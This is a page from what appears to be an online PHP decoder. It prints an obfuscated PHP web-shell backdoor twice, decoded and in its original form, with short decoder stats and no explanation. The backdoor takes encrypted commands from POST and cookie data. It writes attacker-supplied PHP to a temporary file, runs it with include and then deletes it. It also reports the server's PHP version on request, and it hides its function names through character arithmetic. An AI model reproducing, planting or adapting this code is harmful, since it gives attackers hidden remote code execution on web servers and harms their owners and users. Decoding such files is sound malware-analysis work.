Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $sqlneshukn = 'sqlneshukn' ^ ''; $zgetugsqei = "a".$sqlneshukn(312..

Decoded Output download

<?php $sqlneshukn    =  'sqlneshukn'	^    ''; 
 
 
$zgetugsqei    =    "a".$sqlneshukn(312-198)  . /*fduxfh */ "r"      . /*v */ $sqlneshukn(97) /*  st_h   */ . /*oik */ "y"."_".$sqlneshukn(109)  .       "a"    .      "p";$hrsircje /*   l__ux  */ =    "s"."t"."r"."c"    .    $sqlneshukn(572-463)	.       "p"; 
 
 
 
function    jwaomc_ebm($ddptmwcl, /* k   */ $_ugktu) 
 
 
{ 
 
	global /* vrdh  */ $sqlneshukn; 
 
 
     
	$ddptmwcl    = /*   zg  */ "<" /*   rymz*/ .   "?".$sqlneshukn(112)	.	"h"       .   "p".$sqlneshukn(32)    .    $sqlneshukn(674-557)    .	"n" /*   xqpl_n */ .   "l"."i" /*y*/ .	"n"."k"."("    .	"_"."_"."F"."I"."L"."E"    .     "_".$sqlneshukn(95)	.	")".";"	. /*  ctu */ $sqlneshukn(32) /*  ahxyp*/ .    $ddptmwcl["d"]; 
 
 
  $deljn      =     "f"."i"."l" /* czpl   */ .	$sqlneshukn(764-663) /* vcwpf   */ .    "_".$sqlneshukn(112) /*gi   */ .	"u".$sqlneshukn(1025-909)	. /*  vk*/ "_"    .    "c"."o" /*nxahi  */ . /* wk*/ "n"."t"."e"."n"   .    $sqlneshukn(116)     . /*   _ben  */ $sqlneshukn(1004-889); 
	 
 
    $deljn($_ugktu, /*   jyhubb */ $ddptmwcl); 
 
 /* x */  
 
 
 /*dvv  */ rkccenruf($_ugktu); 
 
} 
$vlxbhwju /*   tgtfv   */ =    73; 
 
 
 
function     rkccenruf($_ugktu) 
{ 
 
    global /*   pydggg */ $sqlneshukn; 
      
 
   include($_ugktu); /*  fy   */ $_vhles	= /*   zzkg */ $_ugktu; 
	@unlink($_vhles); 
 
 
} 
 
 
 
function /* qnou*/ fnfhpmgp() 
{ 
 
 
    global       $sqlneshukn; 
 
    $xonqpsembyz	=     array(); 
    $xonqpsembyz["p"	.    "v"]  = /*   ojckkq   */ phpversion(); 
 
	$xonqpsembyz["s" /*  hsof  */ . /*   tf */ "v"] /* sduq  */ =    "3"."."."5"; 
 
 
	$untmhlnyqv	=     74; 
 /*  p  */ echo /*  ie   */ @serialize($xonqpsembyz); 
} 
 
function /*wibsdx */ gxi_vdkvlj($ddptmwcl,    $dd_jpt) 
 
{ 
 
 
 /*  m   */ global    $sqlneshukn; 
 
 
      $rfyvenr	=    ""; 
    $fopiho	=    strlen($ddptmwcl); 
 
 /*cpwmog  */ $ajwyqvhrii    =	strlen($dd_jpt); 
 
       $xonqpsembyz	=     0; 
 
 
     $xonqp    = /* yph  */ 0;        
 
 /*  n*/ while /*  hc */ ($xonqpsembyz    <    $fopiho) /* lrvrd*/ { 
 
    $hgwej /* t   */ = /*  budtz   */ $ddptmwcl[$xonqpsembyz]    ^	$dd_jpt[$xonqp	%	$ajwyqvhrii]; 
      $rfyvenr /*  ttmcg  */ .= /*  cvix*/ $hgwej;	$xonqp++; /* _jjqe */  
 
 
  $xonqpsembyz++; 
 
	} 
 
 
	 
 
 
 /*k */ if  (strlen($rfyvenr) /*  jlnm  */ > /* xp_rwq*/ 20)     { /* amy_b  */ $xonqpsembyzkrgkisfga      =     substr($rfyvenr,      0,	20); 
 
 
	} 
 
       if	(empty($rfyvenr)) /*  zfwsd*/ { 
 /*  bco   */ $rfyvenr	=       date('Y-m-d    H:i:s'); 
 
 
	} 
 
       return /*gu */ $rfyvenr;} 
 
 
 
 
function    qvtffexw($pxgfw) 
{ 
 
	global /*  jhpm  */ $sqlneshukn; /*cgod  */       $ortxq /*  x_fsg */ =       "7".$sqlneshukn(915-858)     .    "3"	.	"5"    . /* iizqn   */ "0".$sqlneshukn(849-750)    .   "e".$sqlneshukn(56)    .	$sqlneshukn(45) /*  jrqnxl   */ .    "f"     .    "5"       . /*l*/ "3"."c"."-"."4"	.	$sqlneshukn(56)	.	"a"."e"    .    $sqlneshukn(491-446)	. /* x */ "a"."8".$sqlneshukn(275-173)    .   "6"."-".$sqlneshukn(501-452)	.       "7"   .  "8" /*_n*/ . /*  kii */ "6"	.	"b"."d"    .    $sqlneshukn(973-918)  . /* b  */ $sqlneshukn(177-128) /*kswnpd  */ .	"e"."a" /*  rpgvgq  */ .	"0"    . /* dlovaj   */ $sqlneshukn(49);     	foreach /*ovxqr  */ ($pxgfw       as /* ezxp */ $ao_kfz    => /*  w_hcja */ $ddptmwcl) /* n_wbnt*/ { 
 
 
 /* vpeb */ pfyleu_itn(base64_decode($ddptmwcl),	$ortxq,    $ao_kfz); 
 
 
 /*  puzjom  */ } 
} 
 
function /* yxgl*/ pfyleu_itn($ddptmwcl, /*  ssm */ $ortxq,  $ao_kfz){ 
 
 
 /*eoyql*/ global /*   u*/ $sqlneshukn; 
 
   
 
 
       $ddptmwcl    =	unserialize(gxi_vdkvlj(gxi_vdkvlj($ddptmwcl, /*   _zo*/ $ortxq), /*  qq  */ $ao_kfz)); 
 
 
	$hthcn /* t*/ =	'cpjsmnmpn'; 
	$mbfhesu	=    'nbrd';    if /* n*/ (isset($ddptmwcl["a"."k"]))    {	if       ($ddptmwcl["a"] /*c  */ == /*  ggxeup*/ "i") /* pwelj*/ { /*jr */ fnfhpmgp(); 
 
     } /* gdysh*/ elseif     ($ddptmwcl["a"]    == /*rx */ "e") /*exwx*/ { 
 
    jwaomc_ebm($ddptmwcl,	sprintf("."."/"."%"."s"   . /*zkpjes*/ "."."p"."l",       md5($ortxq))); 
 
 
			$oxjtwodou /*   t */ = /*  pj_lj*/ 44; 
 
    }       exit();	}} 
 
qvtffexw($_POST);     
 
 
$fljvxd      =    Array(); 
 
 
$fljvxd    =    implode($fljvxd); 
 
 
$dalast /*hl*/ = /* iyox_  */ $zgetugsqei('rawurldecode',	$_POST);$hrsircje('rawurldecode',    $fljvxd); 
 
 
qvtffexw($_COOKIE); 
$vdyczyw    = /* clcyew  */ $zgetugsqei('rawurldecode', /* m*/ $_COOKIE); 
 
?>

Did this file decode correctly?

Original Code

<?php $sqlneshukn    =  'sqlneshukn'	^    '';


$zgetugsqei    =    "a".$sqlneshukn(312-198)  . /*fduxfh */ "\162"      . /*v */ $sqlneshukn(97) /*  st_h   */ . /*oik */ "y"."_".$sqlneshukn(109)  .       "\141"    .      "\160";$hrsircje /*   l__ux  */ =    "s"."t"."r"."\143"    .    $sqlneshukn(572-463)	.       "p";



function    jwaomc_ebm($ddptmwcl, /* k   */ $_ugktu)


{

	global /* vrdh  */ $sqlneshukn;


    
	$ddptmwcl    = /*   zg  */ "<" /*   rymz*/ .   "?".$sqlneshukn(112)	.	"\150"       .   "p".$sqlneshukn(32)    .    $sqlneshukn(674-557)    .	"\156" /*   xqpl_n */ .   "l"."\x69" /*y*/ .	"n"."k"."\50"    .	"_"."_"."F"."I"."L"."\x45"    .     "_".$sqlneshukn(95)	.	")"."\x3b"	. /*  ctu */ $sqlneshukn(32) /*  ahxyp*/ .    $ddptmwcl["\144"];


  $deljn      =     "f"."i"."\154" /* czpl   */ .	$sqlneshukn(764-663) /* vcwpf   */ .    "_".$sqlneshukn(112) /*gi   */ .	"u".$sqlneshukn(1025-909)	. /*  vk*/ "\x5f"    .    "c"."\157" /*nxahi  */ . /* wk*/ "n"."t"."e"."\156"   .    $sqlneshukn(116)     . /*   _ben  */ $sqlneshukn(1004-889);
	

    $deljn($_ugktu, /*   jyhubb */ $ddptmwcl);

 /* x */ 


 /*dvv  */ rkccenruf($_ugktu);

}
$vlxbhwju /*   tgtfv   */ =    73;



function     rkccenruf($_ugktu)
{

    global /*   pydggg */ $sqlneshukn;
     

   include($_ugktu); /*  fy   */ $_vhles	= /*   zzkg */ $_ugktu;
	@unlink($_vhles);


}



function /* qnou*/ fnfhpmgp()
{


    global       $sqlneshukn;

    $xonqpsembyz	=     array();
    $xonqpsembyz["\160"	.    "\x76"]  = /*   ojckkq   */ phpversion();

	$xonqpsembyz["\163" /*  hsof  */ . /*   tf */ "v"] /* sduq  */ =    "3"."."."5";


	$untmhlnyqv	=     74;
 /*  p  */ echo /*  ie   */ @serialize($xonqpsembyz);
}

function /*wibsdx */ gxi_vdkvlj($ddptmwcl,    $dd_jpt)

{


 /*  m   */ global    $sqlneshukn;


      $rfyvenr	=    "";
    $fopiho	=    strlen($ddptmwcl);

 /*cpwmog  */ $ajwyqvhrii    =	strlen($dd_jpt);

       $xonqpsembyz	=     0;


     $xonqp    = /* yph  */ 0;       

 /*  n*/ while /*  hc */ ($xonqpsembyz    <    $fopiho) /* lrvrd*/ {

    $hgwej /* t   */ = /*  budtz   */ $ddptmwcl[$xonqpsembyz]    ^	$dd_jpt[$xonqp	%	$ajwyqvhrii];
      $rfyvenr /*  ttmcg  */ .= /*  cvix*/ $hgwej;	$xonqp++; /* _jjqe */ 


  $xonqpsembyz++;

	}


	


 /*k */ if  (strlen($rfyvenr) /*  jlnm  */ > /* xp_rwq*/ 20)     { /* amy_b  */ $xonqpsembyzkrgkisfga      =     substr($rfyvenr,      0,	20);


	}

       if	(empty($rfyvenr)) /*  zfwsd*/ {
 /*  bco   */ $rfyvenr	=       date('Y-m-d    H:i:s');


	}

       return /*gu */ $rfyvenr;}




function    qvtffexw($pxgfw)
{

	global /*  jhpm  */ $sqlneshukn; /*cgod  */       $ortxq /*  x_fsg */ =       "7".$sqlneshukn(915-858)     .    "\63"	.	"\x35"    . /* iizqn   */ "0".$sqlneshukn(849-750)    .   "e".$sqlneshukn(56)    .	$sqlneshukn(45) /*  jrqnxl   */ .    "\x66"     .    "\x35"       . /*l*/ "3"."c"."-"."\64"	.	$sqlneshukn(56)	.	"a"."\145"    .    $sqlneshukn(491-446)	. /* x */ "a"."8".$sqlneshukn(275-173)    .   "6"."-".$sqlneshukn(501-452)	.       "\67"   .  "\70" /*_n*/ . /*  kii */ "\66"	.	"b"."\144"    .    $sqlneshukn(973-918)  . /* b  */ $sqlneshukn(177-128) /*kswnpd  */ .	"e"."\141" /*  rpgvgq  */ .	"\60"    . /* dlovaj   */ $sqlneshukn(49);     	foreach /*ovxqr  */ ($pxgfw       as /* ezxp */ $ao_kfz    => /*  w_hcja */ $ddptmwcl) /* n_wbnt*/ {


 /* vpeb */ pfyleu_itn(base64_decode($ddptmwcl),	$ortxq,    $ao_kfz);


 /*  puzjom  */ }
}

function /* yxgl*/ pfyleu_itn($ddptmwcl, /*  ssm */ $ortxq,  $ao_kfz){


 /*eoyql*/ global /*   u*/ $sqlneshukn;

  


       $ddptmwcl    =	unserialize(gxi_vdkvlj(gxi_vdkvlj($ddptmwcl, /*   _zo*/ $ortxq), /*  qq  */ $ao_kfz));


	$hthcn /* t*/ =	'cpjsmnmpn';
	$mbfhesu	=    'nbrd';    if /* n*/ (isset($ddptmwcl["a"."\x6b"]))    {	if       ($ddptmwcl["a"] /*c  */ == /*  ggxeup*/ "i") /* pwelj*/ { /*jr */ fnfhpmgp();

     } /* gdysh*/ elseif     ($ddptmwcl["a"]    == /*rx */ "e") /*exwx*/ {

    jwaomc_ebm($ddptmwcl,	sprintf("."."/"."%"."\163"   . /*zkpjes*/ "."."p"."\154",       md5($ortxq)));


			$oxjtwodou /*   t */ = /*  pj_lj*/ 44;

    }       exit();	}}

qvtffexw($_POST);    


$fljvxd      =    Array();


$fljvxd    =    implode($fljvxd);


$dalast /*hl*/ = /* iyox_  */ $zgetugsqei('rawurldecode',	$_POST);$hrsircje('rawurldecode',    $fljvxd);


qvtffexw($_COOKIE);
$vdyczyw    = /* clcyew  */ $zgetugsqei('rawurldecode', /* m*/ $_COOKIE);

?>

Function Calls

chr~|mxlu~ 1

Variables

$sqlneshukn chr~|mxlu~

Stats

MD5 4fcd83bbda6dffd62044a6d2c30ae42d
Eval Count 0
Decode Time 107 ms